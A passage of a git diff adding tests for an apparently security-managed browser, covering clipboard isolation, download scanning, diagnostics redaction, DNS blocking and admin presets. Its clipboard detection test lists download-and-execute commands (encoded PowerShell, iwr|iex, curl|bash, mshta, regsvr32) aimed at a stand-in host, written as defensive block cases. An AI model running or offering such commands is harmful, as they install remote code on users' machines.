hooks=control?'':fs.readFileSync(path.resolve('apps/browser/site-preload.cjs'),'utf8'); +fs.writeFileSync(temporary,hooks+`\nlet fsDenied=false;try{require('node:fs');}catch{fsDenied=true;}require('electron').ipcRenderer.send('frame-proof',{main:process.isMainFrame,sandboxed:process.sandboxed,contextIsolated:process.contextIsolated,fsDenied,url:location.href});`); +ipcMain.on('managed:visual-policy',event=>{event.returnValue={enabled:false};}); +ipcMain.on('frame-proof',(event,value)=>records.push({...value,processId:event.senderFrame.processId})); +const timeout=setTimeout(()=>app.exit(1),15000); +app.whenReady().then(async()=>{let win,server,original;try{ + original=[];for(const item of await clipboard.read()){const data={};for(const type of item.types)data[type]=await item.getType(type);original.push(new ClipboardItem(data));}await clipboard.writeText('frame-proof-sentinel'); + server=http.createServer((req,res)=>{res.setHeader('content-type','text/html');res.end(req.url==='/child'?'':`

Frame proof

`);});await new Promise(resolve=>server.listen(0,'127.0.0.1',resolve)); + win=new BrowserWindow({show:true,webPreferences:{sandbox:true,contextIsolation:true,nodeIntegration:false,nodeIntegrationInSubFrames:true,preload:temporary}});await win.loadURL('about:blank'); + if(control){win.webContents.debugger.attach('1.3');await win.webContents.debugger.sendCommand('Page.enable',{});await win.webContents.debugger.sendCommand('Page.addScriptToEvaluateOnNewDocument',{source:'void 0;'});} + else await attachPageClipboardGuard(win.webContents,()=>{throw Error('Proof guard detached');}); + await win.loadURL(`http://127.0.0.1:${server.address().port}/`);win.focus();win.webContents.focus();await new Promise(resolve=>setTimeout(resolve,300)); + win.show();win.focus();win.webContents.focus();await new Promise(resolve=>setTimeout(resolve,500)); + const srcdoc=await win.webContents.executeJavaScript(`(()=>{const frame=document.getElementById('child'),d=frame.contentDocument;d.body.innerHTML='';const a=d.getElementById('a');a.focus();a.select();return {copied:d.execCommand('copy'),node:typeof frame.contentWindow.require,process:typeof frame.contentWindow.process,bridge:typeof frame.contentWindow.safetynet};})()`,true); + const srcdocFrame=win.webContents.mainFrame.frames.find(frame=>frame.url==='about:srcdoc'); + const srcdocActivated=await srcdocFrame.executeJavaScript(`(()=>{const a=document.getElementById('a');a.focus();a.select();return {copied:document.execCommand('copy')};})()`,true); + await new Promise(resolve=>setTimeout(resolve,300)); + const srcdocSafe=await clipboard.readText()==='frame-proof-sentinel'; + await clipboard.writeText('frame-proof-sentinel'); + const blank=await win.webContents.executeJavaScript(`(()=>{const frame=document.createElement('iframe');document.body.append(frame);const d=frame.contentDocument;d.body.innerHTML='';const a=d.getElementById('a');a.focus();a.select();return {copied:d.execCommand('copy'),node:typeof frame.contentWindow.require,process:typeof frame.contentWindow.process};})()`,true); + const blankFrame=win.webContents.mainFrame.frames.at(-1); + const blankActivated=await blankFrame.executeJavaScript(`(()=>{const a=document.getElementById('a');a.focus();a.select();return {copied:document.execCommand('copy'),node:typeof require,process:typeof process};})()`,true); + await new Promise(resolve=>setTimeout(resolve,300)); + const blankSafe=await clipboard.readText()==='frame-proof-sentinel';await new Promise(resolve=>setTimeout(resolve,100)); + await clipboard.writeText('frame-proof-sentinel'); + const crossFrame=win.webContents.mainFrame.frames.find(frame=>frame.url.includes('localhost')); + win.show();win.focus();win.webContents.focus();await new Promise(resolve=>setTimeout(resolve,500)); + const cross=await crossFrame.executeJavaScript(`(()=>{const a=document.getElementById('a');a.focus();a.select();return {copied:document.execCommand('copy'),node:typeof require,process:typeof process,bridge:typeof safetynet};})()`,true); + await new Promise(resolve=>setTimeout(resolve,300)); + const crossSafe=await clipboard.readText()==='frame-proof-sentinel'; + const mainProcess=records.find(r=>r.main)?.processId,crossProcess=records.find(r=>r.url.includes('localhost'))?.processId; + const oopif=Number.isInteger(mainProcess)&&Number.isInteger(crossProcess)&&crossProcess!==mainProcess; + console.log(JSON.stringify({control,records,srcdoc,srcdocActivated,srcdocSafe,blank,blankActivated,blankSafe,cross,crossSafe,oopif})); + const protectedExpected=srcdocSafe&&blankSafe&&crossSafe; + const controlExpected=srcdocActivated.copied===true&&blankActivated.copied===true&&cross.copied===true&&!srcdocSafe&&!blankSafe&&!crossSafe; + if(original.length)await clipboard.write(original);else await clipboard.clear();if(!control)disposePageClipboardGuard(win.webContents);win.destroy();server.close();clearTimeout(timeout);fs.unlinkSync(temporary);app.exit((control?controlExpected:protectedExpected)&&oopif&&records.every(r=>r.sandboxed&&r.contextIsolated&&r.fsDenied)?0:1); +}catch(error){console.log(JSON.stringify({fixtureError:error.name,message:error.message}));if(original?.length)await clipboard.write(original).catch(()=>{});if(win&&!control)disposePageClipboardGuard(win.webContents);win?.destroy();server?.close();clearTimeout(timeout);try{fs.unlinkSync(temporary);}catch{}app.exit(1);}}); diff --git a/tests/clipboard.test.mjs b/tests/clipboard.test.mjs new file mode 100644 index 0000000..a04a2cb --- /dev/null +++ b/tests/clipboard.test.mjs @@ -0,0 +1,48 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { defaultPolicy,PolicySchema,signPolicy,verifyPolicy } from '../packages/core/policy.mjs'; +import { detectClickFix,inspectClipboard } from '../packages/core/clipboard.mjs'; +import { generateKeyPairSync } from 'node:crypto'; +import { toECS,toCEF } from '../packages/core/siem.mjs'; +test('clipboard policy is signed, defaults protected, and unsafe fields are rejected',()=>{ + const p=defaultPolicy();assert.deepEqual(p.security.clipboard,{enabled:true,allowCopy:true,allowCut:true,allowPaste:true,blockSuspiciousCommands:true,failClosed:true,maxTextBytes:1048576}); + const keys=generateKeyPairSync('ed25519'),privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'});p.security.clipboard.allowCopy=false;assert.equal(verifyPolicy(signPolicy(p,privateKey),publicKey).security.clipboard.allowCopy,false); + for(const field of [{failClosed:false},{maxTextBytes:1048577},{maxTextBytes:0},{allowPaste:'yes'},{captureText:true}])assert.equal(PolicySchema.safeParse({...p,security:{...p.security,clipboard:{...p.security.clipboard,...field}}}).success,false); +}); +test('ClickFix blocks high-risk Windows and Unix execution chains including simple obfuscation',()=>{ + const commands=[ + 'powershell.exe -NoProfile -EncodedCommand SQBFAFgAIAAoAGkAdwByACAAaAB0AHQAcAApAA==', + 'powershell -ec VABFAFMAVAA=', + 'pwsh -en VABFAFMAVAA=', + 'powershell -enc cQA=', + 'po^wer`she\u200bll -enc SQBFAFgAIAAoAGkAdwByACAAaAB0AHQAcAApAA==', + 'iwr https://payload.example/script.ps1 | iex', + 'powershell -c "IEX ((New-Object Net.WebClient).DownloadString(\'https://payload.example/a\'))"', + 'mshta.exe https://payload.example/check.hta', + 'rundll32 javascript:"\\..\\mshtml,RunHTMLApplication";GetObject("script:https://payload.example/a")', + 'regsvr32 /s /u /i:https://payload.example/scrobj.sct scrobj.dll', + 'curl -fsSL https://payload.example/install.sh | bash', + 'wget -qO- https://payload.example/a | sudo sh', + 'bash -c "$(curl https://payload.example/a)"', + 'curl https://payload.example/a -o setup.exe && setup.exe', + 'curl https://payload.example/a -o setup.exe && .\\setup.exe', + 'wget https://payload.example/a -O install.sh; ./install.sh', + 'iwr https://payload.example/a -OutFile temp.exe; Start-Process temp.exe', + 'python -c "import urllib.request;exec(urllib.request.urlopen(\'https://payload.example/a\').read())"', + encodeURIComponent('iwr https://payload.example/a | iex') + ]; + for(const command of commands)assert.equal(detectClickFix(command).decision,'block',command); +}); +test('ordinary programming, standalone downloads and administrative commands remain allowed',()=>{ + for(const text of ['Hello world','Get-Process | Sort-Object CPU','powershell -NoProfile -Command Get-Date','curl https://example.com/data.json -o data.json','wget https://example.com/readme.txt','const result = await fetch("https://example.com/api"); console.log(result);','python -c "print(123)"','git clone https://github.com/example/project.git','npm install package','sha256sum package.exe','A description of curl and bash without a remote execution pipeline'])assert.equal(detectClickFix(text).decision,'allow',text); +}); +test('clipboard inspection enforces permissions, mandatory DLP, expiry, coverage and detector override',()=>{ + const p=defaultPolicy(),safe='Normal public content';for(const op of ['copy','cut','paste'])assert.equal(inspectClipboard(safe,p,op).decision,'allow'); + for(const [op,key] of [['copy','allowCopy'],['cut','allowCut'],['paste','allowPaste']]){p.security.clipboard[key]=false;assert.equal(inspectClipboard(safe,p,op).ruleId,`clipboard-${op}-disabled`);p.security.clipboard[key]=true;} + assert.equal(inspectClipboard('iwr https://payload.example/a | iex',p,'copy').decision,'block');p.security.clipboard.blockSuspiciousCommands=false;assert.equal(inspectClipboard('iwr https://payload.example/a | iex',p,'copy').decision,'allow'); + p.dlp.rules=[{id:'corporate-secret',label:'Secret',kind:'literal',value:'Secret Project',action:'block'}];p.security.clipboard.enabled=false;p.security.clipboard.allowCopy=false;assert.equal(inspectClipboard('Secret Project',p,'copy').ruleId,'corporate-secret');assert.equal(inspectClipboard('-----BEGIN PRIVATE KEY-----',p,'copy').ruleId,'private-key');assert.equal(inspectClipboard(safe,p,'copy').decision,'allow'); + assert.equal(inspectClipboard(Buffer.from([0xff]),p,'paste').ruleId,'clipboard-uninspectable');assert.equal(inspectClipboard('a\0b',p,'copy').ruleId,'clipboard-uninspectable');assert.equal(inspectClipboard({text:safe},p,'copy').decision,'block');assert.equal(inspectClipboard(safe,p,'read-file').decision,'block');p.security.clipboard.maxTextBytes=1024;assert.equal(inspectClipboard('x'.repeat(1025),p,'paste').ruleId,'clipboard-size-limit');p.expiresAt=new Date(0).toISOString();assert.equal(inspectClipboard(safe,p,'copy').ruleId,'clipboard-policy-expired'); +}); +test('clipboard SIEM events classify denied and access actions without exporting text',()=>{ + const event={id:1,time:new Date().toISOString(),device_id:'device',kind:'clipboard.block',metadata:{ruleId:'clickfix-encoded-powershell',policyVersion:1,text:'private clipboard sentinel'}};const ecs=toECS(event,'test');assert.deepEqual(ecs.event.category,['process']);assert.deepEqual(ecs.event.type,['denied']);assert.equal(JSON.stringify(ecs).includes('private clipboard'),false);assert.equal(toCEF(event).includes('private clipboard'),false);event.kind='clipboard.paste';assert.deepEqual(toECS(event).event.type,['access']); +}); diff --git a/tests/developer-tools.test.mjs b/tests/developer-tools.test.mjs new file mode 100644 index 0000000..e072b20 --- /dev/null +++ b/tests/developer-tools.test.mjs @@ -0,0 +1,5 @@ +import test from 'node:test';import assert from 'node:assert/strict';import {EventEmitter} from 'node:events';import {createRequire} from 'node:module';const require=createRequire(import.meta.url),{createDeveloperToolsGuard,developerShortcut}=require('../apps/browser/developer-tools.cjs'); +function fixture(){const contents=new EventEmitter();let opened=false,opens=0,epoch=0;contents.isDestroyed=()=>false;contents.isDevToolsOpened=()=>opened;contents.openDevTools=()=>{opened=true;opens++;contents.emit('devtools-opened');};contents.closeDevTools=()=>{opened=false;};let context={ready:true,foreground:true,url:'https://example.com',policy:{browser:{allowDevTools:false},expiresAt:new Date(Date.now()+60000).toISOString()}};const audit=[];const guard=createDeveloperToolsGuard({contents,getContext:()=>({...context,epoch}),isCurrent:c=>c.epoch===epoch,audit:async kind=>audit.push(kind)});return {guard,contents,audit,context,opens:()=>opens,change:()=>epoch++};} +test('developer shortcuts always handled explicitly and default deny cannot open',async()=>{const f=fixture();for(const key of ['F12','i','j'])assert.equal(developerShortcut({type:'keyDown',key,control:true,shift:true}),true);await f.guard.toggle();assert.equal(f.opens(),0);assert.ok(f.audit.includes('devtools.denied'));}); +test('signed effective grant opens only an active managed HTTP tab and toggles closed',async()=>{const f=fixture();f.context.policy.browser.allowDevTools=true;await f.guard.toggle();assert.equal(f.opens(),1);assert.equal(f.contents.isDevToolsOpened(),true);await f.guard.toggle();assert.equal(f.contents.isDevToolsOpened(),false);f.context.foreground=false;await f.guard.toggle();assert.equal(f.opens(),1);}); +test('policy or tab activation change during authorization audit prevents opening',async()=>{const f=fixture();f.context.policy.browser.allowDevTools=true;const promise=f.guard.toggle();f.change();await promise;assert.equal(f.opens(),0);f.context.policy.expiresAt=new Date(0).toISOString();await f.guard.toggle();assert.equal(f.opens(),0);}); diff --git a/tests/diagnostics.test.mjs b/tests/diagnostics.test.mjs new file mode 100644 index 0000000..7c652a2 --- /dev/null +++ b/tests/diagnostics.test.mjs @@ -0,0 +1,18 @@ +import test from 'node:test';import assert from 'node:assert/strict';import {createRequire} from 'node:module';import {createServer} from 'node:http';import {DiagnosticsSchema,diagnosticsEndpointAllowed} from '../packages/core/diagnostics.mjs'; +const require=createRequire(import.meta.url),{createDiagnostics,attributes}=require('../apps/browser/diagnostics.cjs'); +const delay=ms=>new Promise(r=>setTimeout(r,ms)); +async function collector(t){const requests=[];const server=createServer((req,res)=>{const chunks=[];req.on('data',c=>chunks.push(c));req.on('end',()=>{requests.push({path:req.url,headers:req.headers,payload:JSON.parse(Buffer.concat(chunks).toString())});res.setHeader('content-type','application/json');res.end('{}');});}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(()=>new Promise(r=>{server.closeAllConnections();server.close(r);}));return {requests,endpoint:`http://127.0.0.1:${server.address().port}`};} +const spans=requests=>requests.filter(r=>r.path.endsWith('/traces')).flatMap(r=>r.payload.resourceSpans||[]).flatMap(r=>r.scopeSpans||[]).flatMap(r=>r.spans||[]); +const logs=requests=>requests.filter(r=>r.path.endsWith('/logs')).flatMap(r=>r.payload.resourceLogs||[]).flatMap(r=>r.scopeLogs||[]).flatMap(r=>r.logRecords||[]); +const config=endpoint=>DiagnosticsSchema.parse({enabled:true,mode:'debug',endpoint,sampleRate:1,debugSampleRate:1,flushIntervalMs:10000}); +test('diagnostics schema defaults disabled and rejects insecure or credentialed collectors',()=>{assert.equal(DiagnosticsSchema.parse({}).enabled,false);for(const endpoint of ['http://localhost:4318','http://10.0.0.1:4318','https://user:secret@example.com','https://example.com/?token=secret','https://example.com/#secret','file:///private','ftp://example.com'])assert.equal(diagnosticsEndpointAllowed(endpoint),false,endpoint);for(const endpoint of ['https://collector.company.test/otel','http://127.0.0.1:4318','http://127.0.0.2:4318','http://[::1]:4318'])assert.equal(diagnosticsEndpointAllowed(endpoint),true);assert.equal(DiagnosticsSchema.safeParse({enabled:true}).success,false);assert.equal(DiagnosticsSchema.safeParse({enabled:false,rawContent:true}).success,false);assert.equal(DiagnosticsSchema.safeParse({maxQueueSize:999999}).success,false);}); +test('browser diagnostics exports real OTLP parent/child traces and correlated safe logs',{timeout:15000},async t=>{const {requests,endpoint}=await collector(t),diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());const secret='PASSWORD_TOKEN_SECRET_MUST_NEVER_EXPORT';const oldHeaders=process.env.OTEL_EXPORTER_OTLP_HEADERS,oldResource=process.env.OTEL_RESOURCE_ATTRIBUTES;process.env.OTEL_EXPORTER_OTLP_HEADERS=`authorization=Bearer ${secret},x-private=${secret}`;process.env.OTEL_RESOURCE_ATTRIBUTES=`secret=${secret}`;t.after(()=>{if(oldHeaders===undefined)delete process.env.OTEL_EXPORTER_OTLP_HEADERS;else process.env.OTEL_EXPORTER_OTLP_HEADERS=oldHeaders;if(oldResource===undefined)delete process.env.OTEL_RESOURCE_ATTRIBUTES;else process.env.OTEL_RESOURCE_ATTRIBUTES=oldResource;}); + assert.equal(diagnostics.configure(config(endpoint),{policyVersion:4,deviceId:'00000000-0000-4000-8000-000000000001'}),true);let calls=0; + const result=await diagnostics.span('browser.ipc',{operation:'inspect-file',prompt:secret,url:`https://example.com/?token=${secret}`,sessionId:'00000000-0000-4000-8000-000000000002'},async()=>{calls++;const ids=diagnostics.correlation();assert.match(ids.traceId,/^[a-f0-9]{32}$/);assert.match(ids.spanId,/^[a-f0-9]{16}$/);diagnostics.event('browser.security',{decision:'allow',password:secret});return diagnostics.span('browser.inspect.local',{bytes:24,policyVersion:4},async()=>{await delay(10);return 7;});});assert.equal(result,7);assert.equal(calls,1); + const failure=new Error(secret);await assert.rejects(diagnostics.span('browser.agent',{operation:'read',token:secret},async()=>{throw failure;}),error=>error===failure);await diagnostics.span(secret,{operation:secret},async()=>{});await diagnostics.flush(); + const traceSpans=spans(requests),logRecords=logs(requests);assert.equal(traceSpans.length,3);const parent=traceSpans.find(s=>s.name==='browser.ipc'),child=traceSpans.find(s=>s.name==='browser.inspect.local');assert.ok(parent&&child);assert.equal(child.traceId,parent.traceId);assert.equal(child.parentSpanId,parent.spanId);assert.ok(BigInt(child.endTimeUnixNano)>BigInt(child.startTimeUnixNano));assert.ok(child.attributes.some(a=>a.key==='safetynet.duration.ms'&&(a.value.doubleValue??a.value.intValue)>=1));assert.ok(logRecords.length>=3);assert.ok(logRecords.some(log=>log.traceId===parent.traceId&&log.spanId===parent.spanId));assert.equal(JSON.stringify(requests).includes(secret),false);assert.equal(requests.some(r=>r.headers.authorization||r.headers['x-private']),false);assert.ok(traceSpans.find(s=>s.name==='browser.agent').status.code===2);assert.equal(JSON.stringify(requests).includes('process.command'),false); +}); +test('disable and reconfiguration discard queued generation before export',{timeout:10000},async t=>{const {requests,endpoint}=await collector(t),diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());diagnostics.configure(config(endpoint));await diagnostics.span('browser.navigation',{operation:'navigate'},async()=>{});diagnostics.event('browser.security',{decision:'block'});diagnostics.configure({enabled:false});await diagnostics.flush();await delay(100);assert.equal(requests.length,0);let calls=0;await diagnostics.span('browser.navigation',{},async()=>{calls++;});assert.equal(calls,1);assert.equal(diagnostics.status().enabled,false);diagnostics.configure(config(endpoint),{policyVersion:9});await diagnostics.span('browser.navigation',{operation:'navigate'},async()=>{});await diagnostics.flush();assert.equal(spans(requests).length,1);assert.equal(spans(requests)[0].attributes.find(a=>a.key==='safetynet.policy.version').value.intValue,9);diagnostics.configure({...config(endpoint),endpoint:'http://10.0.0.1:4318'});assert.equal(diagnostics.status().enabled,false);}); +test('diagnostics bounded queues expire old records and never repeat failed security operations',{timeout:10000},async t=>{const {requests,endpoint}=await collector(t),diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());diagnostics.configure({...config(endpoint),maxQueueSize:16,maxRecordAgeMs:1000});await diagnostics.span('browser.request',{requestType:'xhr'},async()=>{});await delay(1100);await diagnostics.flush();assert.equal(requests.length,0,'Expired diagnostic record exported');diagnostics.configure({...config(endpoint),maxQueueSize:16});for(let i=0;i<50;i++)diagnostics.event('browser.request',{requestType:'xhr'});await diagnostics.flush();assert.ok(logs(requests).length<=50);for(const request of requests)if(request.path.endsWith('/logs'))assert.ok(logs([request]).length<=16,'Export batch exceeded bounded queue');let calls=0;diagnostics.configure({...config(endpoint),endpoint:'http://127.0.0.1:1',exportTimeoutMs:250});assert.equal(await diagnostics.span('browser.request',{},async()=>{calls++;return 'security decision';}),'security decision');await diagnostics.flush();assert.equal(calls,1);assert.ok(diagnostics.status().failedExports>=1);}); +test('diagnostic attributes are typed and never invoke hostile getters',()=>{const input={operation:'read',sessionId:'not-a-uuid',status:'ok',secret:'never',bytes:32};Object.defineProperty(input,'prompt',{enumerable:true,get(){throw Error('getter called');}});assert.deepEqual(attributes(input),{'safetynet.operation':'read','safetynet.status':'ok','safetynet.bytes':32});}); +test('OTLP redirects do not forward diagnostics and zero sampling suppresses records',{timeout:10000},async t=>{const {requests,endpoint}=await collector(t);const redirect=createServer((_req,res)=>{res.statusCode=307;res.setHeader('location',endpoint+'/v1/traces');res.end('redirect');}).listen(0,'127.0.0.1');await new Promise(r=>redirect.once('listening',r));t.after(()=>new Promise(r=>{redirect.closeAllConnections();redirect.close(r);}));const diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());diagnostics.configure(config(`http://127.0.0.1:${redirect.address().port}`));await diagnostics.span('browser.navigation',{},async()=>{});await diagnostics.flush();assert.equal(requests.length,0,'Collector redirect received diagnostic payload');assert.ok(diagnostics.status().failedExports>=1);diagnostics.configure({...config(endpoint),sampleRate:0,debugSampleRate:0});await diagnostics.span('browser.ipc',{operation:'state'},async()=>{assert.deepEqual(diagnostics.correlation(),{});diagnostics.event('browser.security',{decision:'block'});});await diagnostics.flush();assert.equal(requests.length,0);}); diff --git a/tests/dns-alias.test.mjs b/tests/dns-alias.test.mjs new file mode 100644 index 0000000..46aa843 --- /dev/null +++ b/tests/dns-alias.test.mjs @@ -0,0 +1,10 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {defaultPolicy} from '../packages/core/policy.mjs'; +import {dnsAddressBlocked} from '../packages/core/security.mjs'; +test('IPv4-mapped IPv6 cannot bypass blocked destination IPs',()=>{ + const p=defaultPolicy();p.security.dns.blockedIPs=['127.0.0.2']; + for(const ip of ['127.0.0.2','::ffff:127.0.0.2','0:0:0:0:0:ffff:7f00:2'])assert.equal(dnsAddressBlocked(ip,p),true); + assert.equal(dnsAddressBlocked('::ffff:127.0.0.3',p),false); + p.security.dns.blockedIPs=['::ffff:7f00:2'];assert.equal(dnsAddressBlocked('127.0.0.2',p),true); +}); diff --git a/tests/download-gate.test.mjs b/tests/download-gate.test.mjs new file mode 100644 index 0000000..f15d6c2 --- /dev/null +++ b/tests/download-gate.test.mjs @@ -0,0 +1,38 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createHash} from 'node:crypto'; +import {createRequire} from 'node:module'; +const {createDownloadGate,filename}=createRequire(import.meta.url)('../apps/browser/download-gate.cjs'); +function setup(overrides={}){ + const calls=[],bytes=Buffer.from('benign download'),context={ready:true,webContentsId:5,policy:{version:1,browser:{allowDownloads:true},security:{yara:{enabled:true,rules:[{}],maxScanBytes:1024}}}}; + const gate=createDownloadGate({getContext:()=>context,isCurrent:()=>true,fetchResponse:async()=>new Response(bytes),scan:async b=>{calls.push('scan');return{decision:'allow',coverage:{complete:true},sha256:createHash('sha256').update(b).digest('hex')};},choosePath:async()=>{calls.push('dialog');return 'selected';},writeFile:async(_path,data)=>{calls.push('write');assert.deepEqual(data,bytes);},audit:async kind=>calls.push(kind),...overrides}); + return{gate,calls,context,input:{url:'https://example.com/file',name:'safe.bin',method:'GET',webContentsId:5}}; +} +test('downloads never ask or write before scan allows exact bytes',async()=>{const {gate,input,calls}=setup();assert.equal((await gate(input)).released,true);assert.ok(calls.indexOf('scan'){const {gate,input,calls}=setup({scan:async()=>({decision:'block',ruleId:'malware'})});assert.equal((await gate(input)).released,false);assert.equal(calls.includes('write'),false);assert.equal(calls.includes('dialog'),false);}); +test('scanner absence, changed policy, wrong digest and POST fail closed',async()=>{ + for(const overrides of [{scan:async()=>{throw Error('unavailable');}},{isCurrent:()=>false},{scan:async()=>({decision:'allow',coverage:{complete:true},sha256:'wrong'})}]){const {gate,input,calls}=setup(overrides);assert.equal((await gate(input)).released,false);assert.equal(calls.includes('write'),false);} + const {gate,input,calls}=setup();assert.equal((await gate({...input,method:'POST'})).released,false);assert.equal(calls.includes('write'),false); +}); +test('oversized responses are denied before scanning and write',async()=>{const {gate,input,calls}=setup({fetchResponse:async()=>new Response(Buffer.alloc(2048))});assert.equal((await gate(input)).released,false);assert.equal(calls.includes('scan'),false);assert.equal(calls.includes('write'),false);}); +test('filename cannot introduce device names, traversal or ADS',()=>{assert.equal(filename('CON'),'download.bin');assert.equal(filename('C:\\secret\\a:payload.exe'),'a_payload.exe');assert.equal(filename('../safe.txt'),'safe.txt');}); + +test('download captures the originating tab rather than the active tab',async()=>{ + let requested;const f=setup({getContext:id=>{requested=id;return f.context;}}); + assert.equal((await f.gate(f.input)).released,true);assert.equal(requested,5); + const missing=setup({getContext:()=>null,fetchResponse:async()=>{throw Error('Must not fetch unknown origin');}}); + assert.equal((await missing.gate(missing.input)).reason,'unmanaged-download'); +}); +test('closing the originating tab while scanning prevents dialog and write',async()=>{ + let current=true;const f=setup({isCurrent:()=>current,scan:async bytes=>{current=false;return {decision:'allow',coverage:{complete:true},sha256:createHash('sha256').update(bytes).digest('hex')};}}); + assert.equal((await f.gate(f.input)).reason,'policy-changed');assert.equal(f.calls.includes('dialog'),false);assert.equal(f.calls.includes('write'),false); +}); +test('configured ICAP can replace local antivirus while its bound size limit remains enforced',async()=>{const {gate,input,context,calls}=setup();context.policy.security.yara.enabled=false;context.policy.enterprise={icap:{enabled:true,scanDownloads:true,maxBytes:1024}};assert.equal((await gate(input)).released,true);assert.ok(calls.includes('write'));const f=setup();f.context.policy.security.yara.enabled=false;f.context.policy.enterprise={icap:{enabled:true,scanDownloads:true,maxBytes:5}};assert.equal((await f.gate(f.input)).released,false);assert.equal(f.calls.includes('scan'),false);}); +test('magic-byte executable and mismatch blocks precede scanner, dialog and OS write',async()=>{ + for(const setting of [{blockedTypes:['pe']},{blockExtensionMismatch:true},{blockMimeMismatch:true}]){ + const f=setup({fetchResponse:async()=>new Response(Buffer.from('MZbinary'),{headers:{'content-type':'image/png'}})});f.context.policy.fileTransfers={download:setting};const v=await f.gate({...f.input,name:'photo.png'});assert.equal(v.released,false);assert.equal(f.calls.includes('scan'),false);assert.equal(f.calls.includes('write'),false); + } +}); +test('no-scanner downloads require explicit central approval and carry actual safe forensic facts',async()=>{ + const f=setup();f.context.policy.security.yara.enabled=false;assert.equal((await f.gate(f.input)).reason,'malware-scanner-required');f.context.policy.fileTransfers={download:{allowWithoutMalwareScanner:true}};const v=await f.gate(f.input);assert.equal(v.released,true);assert.equal(v.facts.detectedType,'text');assert.equal(v.facts.size,15); +}); diff --git a/tests/enterprise-admin.test.mjs b/tests/enterprise-admin.test.mjs new file mode 100644 index 0000000..9f92194 --- /dev/null +++ b/tests/enterprise-admin.test.mjs @@ -0,0 +1,29 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { defaultPolicy, PolicySchema } from '../packages/core/policy.mjs'; +import { EnterpriseSchema, enterpriseReadiness } from '../packages/core/enterprise.mjs'; +import { previewPreset, policyPresets } from '../packages/core/presets.mjs'; +test('enterprise defaults preserve Windows network and optional integration behavior',()=>{const p=defaultPolicy();assert.equal(p.enterprise.dns.mode,'system');assert.equal(p.enterprise.icap.enabled,false);assert.equal(p.enterprise.vpn.required,false);assert.equal(p.proxy.mode,'system');}); +test('enterprise integration rejects invalid service trust, credentials and ambiguous settings',()=>{for(const input of [{icap:{enabled:true}},{icap:{enabled:true,url:'icaps://user:secret@example.test/scan'}},{icap:{enabled:true,url:'icap://example.test/scan'}},{dns:{mode:'secure'}},{dns:{templates:['https://dns.test/query']}},{vpn:{required:true}},{icap:{enabled:true,url:'icaps://av.test/scan',failClosed:false}},{unknown:true}])assert.equal(EnterpriseSchema.safeParse(input).success,false);assert.equal(EnterpriseSchema.safeParse({icap:{enabled:true,url:'icap://127.0.0.1/scan'}}).success,true);assert.equal(EnterpriseSchema.safeParse({icap:{enabled:true,url:'icap://av.test/scan',allowInsecureTransport:true}}).success,true);}); +test('presets are additive and preserve enterprise infrastructure and content protection',()=>{const p=defaultPolicy();p.proxy={mode:'fixed_servers',rules:'proxy.test:8080',bypass:'internal.test'};p.enterprise=EnterpriseSchema.parse({dns:{mode:'secure',templates:['https://dns.test/dns-query']},vpn:{required:true,interfaceNames:['CorpVPN']},icap:{enabled:true,url:'icaps://av.test/scan'}});p.dlp.rules.push({id:'reference',label:'Secret',kind:'literal',value:'confidential',action:'block'});p.security.clipboard.allowPaste=false;for(const preset of policyPresets){const result=previewPreset(p,preset.id);assert.deepEqual(result.policy.proxy,p.proxy);assert.deepEqual(result.policy.enterprise,p.enterprise);assert.deepEqual(result.policy.dlp,p.dlp);assert.equal(result.policy.security.clipboard.allowPaste,false);assert.equal(result.policy.ai.enabled,false);assert.equal(result.policy.version,p.version);}assert.equal(p.browser.settings.visible,true);assert.equal(previewPreset(p,'restricted').policy.browser.settings.visible,false);}); +test('download readiness accepts external scanning without enabling local YARA',()=>{const p=defaultPolicy();p.browser.allowDownloads=true;p.enterprise.icap.enabled=true;p.enterprise.icap.url='icaps://av.test/scan';assert.equal(enterpriseReadiness(PolicySchema.parse(p)).find(r=>r.id==='downloads').state,'configured');p.enterprise.icap.scanDownloads=false;assert.equal(enterpriseReadiness(PolicySchema.parse(p)).find(r=>r.id==='downloads').state,'blocked');}); +import { createApp } from '../apps/server/app.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve } from 'node:path'; +test('admin preset preview is authorized and cannot mutate published policy or audit history',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-enterprise-admin-')),store=openStore(directory),adminToken='test-only-enterprise-administrator-123456789'; + const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();assert.equal(resolve(directory).startsWith(resolve(tmpdir())),true);rmSync(directory,{recursive:true,force:true});}); + const url=`http://127.0.0.1:${server.address().port}`,policy=store.get('policy'),count=store.db.prepare('SELECT count(*) AS n FROM events').get().n; + let response=await fetch(`${url}/api/admin/presets`);assert.equal(response.status,401); + response=await fetch(`${url}/api/admin/presets/preview`,{method:'POST',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify({id:'restricted',policy})});assert.equal(response.status,200);const preview=await response.json();assert.equal(preview.policy.browser.settings.visible,false);assert.equal(store.get('policy').browser.settings.visible,true);assert.equal(store.get('policy').version,policy.version);assert.equal(store.db.prepare('SELECT count(*) AS n FROM events').get().n,count); + response=await fetch(`${url}/api/admin/integrations`,{headers:{authorization:`Bearer ${adminToken}`}});assert.equal(response.status,200);assert.equal((await response.json()).readiness.length,6); +}); +import managedSettings from '../apps/browser/managed-settings.cjs'; +test('managed AI preset preserves usable approved AI while narrowing existing agent permissions',()=>{ + const p=defaultPolicy();p.ai={...p.ai,enabled:true,model:'approved-model',endpointId:'corporate-gateway'};p.agents={...p.agents,enabled:true,allowSensitiveRead:true,scopes:['sessions','navigate','read','click','type','screenshot','ai']};p.browser.settings.lockedSections=['appearance']; + const 